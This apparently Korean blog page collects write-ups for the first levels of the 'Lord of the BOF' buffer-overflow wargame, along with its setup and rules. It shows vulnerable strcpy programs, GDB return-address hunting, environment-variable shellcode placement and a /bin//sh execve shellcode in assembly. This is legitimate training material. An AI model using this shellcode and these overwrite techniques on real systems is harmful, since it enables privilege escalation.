'워게임(WarGame)'에 해당되는 글 38건
- 2011.06.02 [LEVEL4] goblin -> orc (egghunter) 1
- 2011.06.02 [LEVEL3] cobolt -> goblin (small buffer + stdin)
- 2011.06.02 [LEVEL2] gremlin -> cobolt (small buffer)
- 2011.06.02 [LEVEL1] gate -> gremlin (simple bof) 1
- 2011.05.29 BOF 원정대 출항 준비 : 네트워크 설정
- 2011.05.29 BOF-BufferOverflow- 원정대란? 1
⊙ 문제의 소스를 보자) |
[goblin@localhost goblin]$ cat orc.c /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */
#include <stdio.h> #include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]) { char buffer[40]; int i;
if(argc < 2){ printf("argv error\n"); exit(0); }
// egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); }
strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
+ egghunter라는 주석에서 알 수 있듯이 환경변수(environment)를 전부 0으로 초기화 합니다. 즉, (LEVEL2 && LEVEL3)처럼 환경변수를 이용 할 수 없습니다. + if문을 통해 argv[1][47]가 "\xbf" 가 아니면 종료한다. 그러나 [buffer(40] + [EBP(4)] + [RET(4)] 이므로 결국 RET주소에 마지막에 "\x??\x??\x??\xbf"로 끝나면 되겠네요. + 어차피 [LEVEL1]과 틀린 점은 버퍼가 줄었다는 것 밖에 없습니다. 해당 셸코드는 24Byte이고 44Byte의 여유 공간(buffer[40Byte] + EBP[4Byte])이 있으므로 LEVEL1과 같이 BUFFER에 셸코드(ShellCode)를 삽입하여 문제를 풀수 있겠네요. |
1) GDB로 RET 주소를 구해보자. | ||||||||||||
① 먼저 권한이 없으므로 해당 사본을 만듭니다. # cp orc cro
② 디버깅을 위해 argv[1][47]이 "\xbf"가 통과 되도록 테스트 문을 만듭니다. (공격문과 테스트문의 길이가 같아야 같은 주소를 얻을 수 있습니다)
③ 그럼 이제 GDB로 해당 RET을 덮을 buffer의 주소를 찾도록 합니다.
|
*이제 RET주소를 덮어쓸 buffer의 주소값( 0xbffffad0 )이 구해졌으니 공격 문으로 바꿔보도록 합시다.
2) 공격문 작성. | |||||||||||||
① 테스트 문을 공격 문으로 바꾸자!
② 이제 바뀐 공격 문으로 확인해 보자!.
* 검색결과를 인용하자면 GDB로 디버깅 하면 어딘가에 한번 복사되어 분석이 들어가기 때문에 동적으로 움직이고 있는 실제 프로세스의 주소와 GDB로 디버깅 했을 때엔 차이가 난다고 합니다.
|
[여기서 잠깐] 실행 프로세스의 주소와 vs GDB 주소 값의 차이! | ||||||||||||
① orc.c의 사본을 만들어 간단한 테스트를 해봅시다.
② 해당 printf("[ %#x ]\n", buffer); 라인을 추가 후 컴파일 하고 다시 공격 문으로 확인해 봅시다.
③ 확인한(0xbffffae0) 리턴 주소만 다시 바꿔 확인해 보죠..
④ 결과.
|
3) 원본(orc) 공격 확인. | |
성공!!! |
goblin : "hackers proof"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL6] wolfman -> darkelf (check length of argv[1] + egghunter + bufferhunter) (0) | 2011.06.02 |
---|---|
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
[LEVEL1] gate -> gremlin (simple bof) (1) | 2011.06.02 |
⊙ 문제의 소스를 보자) |
대략적인 구성은 LEVEL2와 같으므로 바로 본론으로 들어갑니다.
1) 셸코드를 환경변수로.... | |
① 그럼 일단 올려보고 확인해 봅시다.
+ env 명령으로 해당 환경변수를 확인할수 있습니다. |
2) 환경변수 주소를 알아보자! [Level2 참조] |
[gremlin@localhost gremlin]$ ./getenv SHCODE 0xbfffff06 |
3) 공격문 작성 | |||||||||
완료!! |
[여기서 잠깐] 왜! tee를 사용하는가. |
① # tee | sh 실행으로 간단한 테스트를 해보자
+ 이와 같이 tee와 파이프가"|" 동등한 자식프로세스로 연결되면서 tee의 입력 받은 라인이 파이프를 통해 쉘(Shell)로 전달 된다. ② Level3의 공격문의 이해
+ 즉 위의 그림과 같이 (python 인터프리터 공격문 ; tee) | ./goblin 을 실행하면 소괄호"()" 로 그룹화 하여 하나의 명령문으로 서브쉘 에서 실행한다. + ①번과 같이 tee와 파이프가 연결되어 있으므로 셸코드를 실행시키자 마자 죽지 않고 + 입력 받은 라인은 다시 표준 출력 함으로써 명령문(my-pass)을 실행시킬 수 있다.
*표준입력으로부터 읽어서 표준출력은 할수 있는 명령어면 다 가능하다 (예: cat) |
cobolt : "hacking exposed"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL5] orc -> wolfman (egghunter + bufferhunter) (0) | 2011.06.02 |
---|---|
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
[LEVEL1] gate -> gremlin (simple bof) (1) | 2011.06.02 |
BOF 원정대 출항 준비 : 네트워크 설정 (0) | 2011.05.29 |
⊙ 문제의 소스를 보자) |
[gremlin@localhost gremlin]$ cat cobolt.c /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */
int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } + [LEVEL1]과 틀려진 거라곤 버퍼 크기가 작아진 것 밖에 없습니다. + 따라서 환경변수에 셸코드를 올려놓고, RET주소를 해당 환경변수로 합니다. |
대략적인 구성은 LEVEL1과 같으므로 바로 바로 셸코드를 환경변수에 올려봅시다.
1) 셸코드를 환경변수로.... | |||||||||||||
①셸코드를 환경변수로 올리기 전에 우리가 사용되는 메모리 공간을 봅시다.
[해당 원문 참조]
② 우리가 셸코드를 올리게 되는 곳이 저 스택영역 안에 환경변수가 사용되는 메모리 공간입니다.
② 그럼 일단 올려보고 확인해 봅시다.
+ env 명령으로 해당 환경변수를 확인할수 있습니다.
|
2) 환경변수 주소를 알아보자! |
① C언어 getenv()를 이용하자.
int main(int argc, char *argv[]) { printf ("%p\n", getenv(argv[1])); return 0; }
② 해당소스를 컴파일 # gcc getenv.c -o getenv
③ 전체 경로의 파일이름 길이가 같아야 정확한 해당주소를 받아 올 수 있으므로 해당 cobolt 바이너리 파일과 같은 위치에 있도록 하자. (이름 길이도 같음)
④ 만든 getenv를 이용하여 올린 셸코드의 주소를 알아내자. [gremlin@localhost gremlin]$ ./getenv SHCODE 0xbfffff03 |
3) 공격문 작성 | |||||||||
완료!! |
*미리 chsh로 /bin/bash2로 변경 해놓음.
gremlin : "hello bof world"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
---|---|
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL1] gate -> gremlin (simple bof) (1) | 2011.06.02 |
BOF 원정대 출항 준비 : 네트워크 설정 (0) | 2011.05.29 |
BOF-BufferOverflow- 원정대란? (1) | 2011.05.29 |
⊙ 문제의 소스를 보자) |
[gate@localhost gate]$ cat gremlin.c The Lord of the BOF : The Fellowship of the BOF - gremlin - simple BOF */
int main(int argc, char *argv[]) { char buffer[256]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } |
+ simple BOF라는 주석에서 알 수 있듯이 버퍼가 256Byte로 넉넉하다. + argv 인자로 문자열을 받아 strcpy()로 buffer에 복사를 한다. + strcpy()는 복사할 목적지 문자열에 크기를 제한하지 않음으로 Overflow가 가능하다. |
1) 공략할 바이너리 파일을 GDB로 벗겨보자. | ||||||||||||||||
*권한이 없으므로 tmp폴더 생성후 바이너리 파일 복사. ① buffer[256]과 같이 정확히 0x100(10진수:256)Byte만큼 스택공간을 확보, 즉 더미(dummy)는 없습니다. ② 쉘코드를 buffer에 삽입후 RET주소를 buffer의 주소([%ebp-256])로 넣습니다. ③ buffer시작 주소부터 RET의 시작주소 까지의 오프셋 :: buffer(256) + EBP(4) :: RET
|
2) GDB로 RET 주소를 구해 보자. |
[gate@localhost tmp]$ gdb -q gremlin (gdb) disassemble main Dump of assembler code for function main: ...[중략]... 0x8048466 <main+54>: call 0x8048370 <strcpy> 0x804846b <main+59>: add $0x8,%esp 0x804846e <main+62>: lea 0xffffff00(%ebp),%eax 0x8048474 <main+68>: push %eax 0x8048475 <main+69>: push $0x80484ec ...[중략]... (gdb) b *main+62 Breakpoint 1 at 0x804846e (gdb) r $(python -c 'print "D"*264') Starting program: /home/gate/tmp/gremlin $(python -c 'print "D"*264') Breakpoint 1, 0x804846e in main ()
① argv 인자로 전달한 공격문은 strcpy()함수 이후에 buffer에 복사되기 때문에 strcpy()이후로 break를 겁니다. ② 공격문을 argv 인자전달로 넘겨주기 때문에 공격문의 길이에 따라 EBP 값이 변합니다. 따라서 Buffer(256) + EBP(4) + RET(4) = 264Byte이므로 Python 인터프리터문으로 "D"*264 전달합니다. ③ EBP값은 0xbffffa18 이므로 EBP-256(buffer길이) 빼주면 0xbffff918이 됩니다. 여기서 "D"의 ASCII코드값이 44이므로 쉽게 눈으로 확인 할 수 있습니다. ④ 대략적으로 중간 지점인 0xbffff0a8을 리턴할 주소로 잡습니다. |
.global main main: /* int execve(const char *filename, char *const argv[], char *const envp[]) */ xor %eax, %eax ;# eax를 0으로 push %eax ;# 문자열 종결을 위해 널을 푸시 push $0x68732f2f ;# "//sh"를 스택에 푸시 push $0x6e69622f ;# "/bin"를 스택에 푸시 mov %esp, %ebx ;# esp에서 "/bin//sh"의 주소를 가져와 ebx에 쓴다. push %eax ;# 32비트 널 종결자를 스택에 푸시 push %ebx ;# 널 종결자 위에 문자열 주소를 푸시 mov %esp, %ecx ;# 문자열 포인터가 있는 인자 배열 cdq ;# eax에서 부호 비트를 가져와 edx를 0으로 mov $0xb, %al ;# 시스템 콜 11번 (execve) int $0x80
|
4) Python 인터프리터 공격문 작성 | ||||||||||||||||||||||||||||||||||||||||||||||||
특이사항) ① 이와 같이 셸코드 오른쪽엔 어떠한 값(NOP썰매)이 최소 16Byte이여야 한다.
② 꼭 NOP썰매가 아니더라도 특정한 영문자도 되더라.
|
5) 이제 적을 물리쳐 보자! | |
어찌된 일인지 GDB로 확인해 봅시다.
0xbffffa6c를 보면 리턴주소가 0x4000f9a8로 되어있습니다. 분명 리턴 주소는 0xbffff9a8이 였는데 말이죠.. 어찌된 일 일까요? 해당 사이트를 검색해 보았습니다. [원본 위치]
자그럼 bash2로 변환후 다시 해보죠..
이제 되네요.. 성공!!
|
--) 공격 구성 순서 정리. |
① 권한문제로 tmp 폴더 생성후 gramlin 복사. :: # mkdir tmp && cp gramlin tmp ② GDB를 통해 버퍼크기와 더미존재 여부 확인. ③ GDB로 RET주소를 구하자.
④ 공격에 사용할 쉘코드 작성 ⑥ bash2 && 공격 |
*(앞으로 모든 레벨에서의 쉘은 chsh명령으로 /bin/bash2로 변경)
gate : "gate"
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
---|---|
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
BOF 원정대 출항 준비 : 네트워크 설정 (0) | 2011.05.29 |
BOF-BufferOverflow- 원정대란? (1) | 2011.05.29 |
1) 만약을 위한 Root 비빌번호를 바꾸자.
LILO boot : linux single (싱글 부팅) … bash# passwd New UNIX password: ****** Retype new UNIX password: ****** passwd: all authentication tokens updated successfully |
2) netconfig 명령으로 네트워크 설정
① $ netconfig -> Yes
② Vmware에서 NAT Settings에서 [Gateway IP] 확인 [Vmware] - [Edit] - [Virtual Network Editor...] - [Vmnet8(NAT)] - [NAT Settings...]
③ 아래와 같이 자기에 맞게 셋팅
④ ping 확인
|
3) Putty 설정 및 접속
|
이제 신나는 BOF원정 go~ go~
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
---|---|
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
[LEVEL1] gate -> gremlin (simple bof) (1) | 2011.06.02 |
BOF-BufferOverflow- 원정대란? (1) | 2011.05.29 |
[BOF-BufferOverflow- 원정대란?]
비교적 쉬운 BOF 공략 환경인 Redhat 6.2에서부터 궁극의 Fedora 14까지
수십개의 레벨을 거쳐가며 BOF 시스템 해킹 실습을 하는 War-Game입니다.
[접속 방법]
BOF 원정대는 도메인이나 IP가 아닌, vmware 이미지 형태로 제공합니다.
따라서 각자의 PC에 워게임 서버를 가동하신 후 접속해 풀어나가는 방식입니다.
[다운로드]
1. 다음 Vmware 이미지를 다운받아 부팅한다.
http://work.hackerschool.org/DOWNLOAD/TheLordOfTheBOF/TheLordOfTheBOF_redhat.zip
2. gate/gate로 로그인한다.
3. netconfig 명령으로 네트워크 설정을 한다. (setuid 걸어 놨습니다)
4. ip를 확인한다. (/sbin/ifconfig)
5. putty, xshell등으로 터미널 접속하여 문제 풀이를 시작한다. (telnet)
[기본 룰]
1. single boot 금지
2. root exploit 금지
3. /bin/my-pass 명령에 LD_PRELOAD 사용 금지
[레벨업 패스워드 확인]
/bin/my-pass
[전용 게시판]
http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship
[몹 리스트]
LEVEL1 (gate -> gremlin) : simple bof
LEVEL2 (gremlin -> cobolt) : small buffer
LEVEL3 (cobolt -> goblin) : small buffer + stdin
LEVEL4 (goblin -> orc) : egghunter
LEVEL5 (orc -> wolfman) : egghunter + bufferhunter
LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter
LEVEL7 (darkelf -> orge) : check argv[0]
LEVEL8 (orge -> troll) : check argc
LEVEL9 (troll -> vampire) : check 0xbfff
LEVEL10 (vampire -> skeleton) : argv hunter
LEVEL11 (skeleton -> golem) : stack destroyer
LEVEL12 (golem -> darkknight) : sfp
LEVEL13 (darkknight -> bugbear) : RTL1
LEVEL14 (bugbear -> giant) : RTL2, only execve
LEVEL15 (giant -> assassin) : no stack, no RTL
LEVEL16 (assassin -> zombie_assassin) : fake ebp
LEVEL17 (zombie_assassin -> succubus) : function calls
LEVEL18 (succubus -> nightmare) : plt
LEVEL19 (nightmare -> xavis) : fgets + destroyers
LEVEL20 (xavis -> death_knight) : remote BOF
'워게임(WarGame) > BOF원정대(LOF)' 카테고리의 다른 글
[LEVEL4] goblin -> orc (egghunter) (1) | 2011.06.02 |
---|---|
[LEVEL3] cobolt -> goblin (small buffer + stdin) (0) | 2011.06.02 |
[LEVEL2] gremlin -> cobolt (small buffer) (0) | 2011.06.02 |
[LEVEL1] gate -> gremlin (simple bof) (1) | 2011.06.02 |
BOF 원정대 출항 준비 : 네트워크 설정 (0) | 2011.05.29 |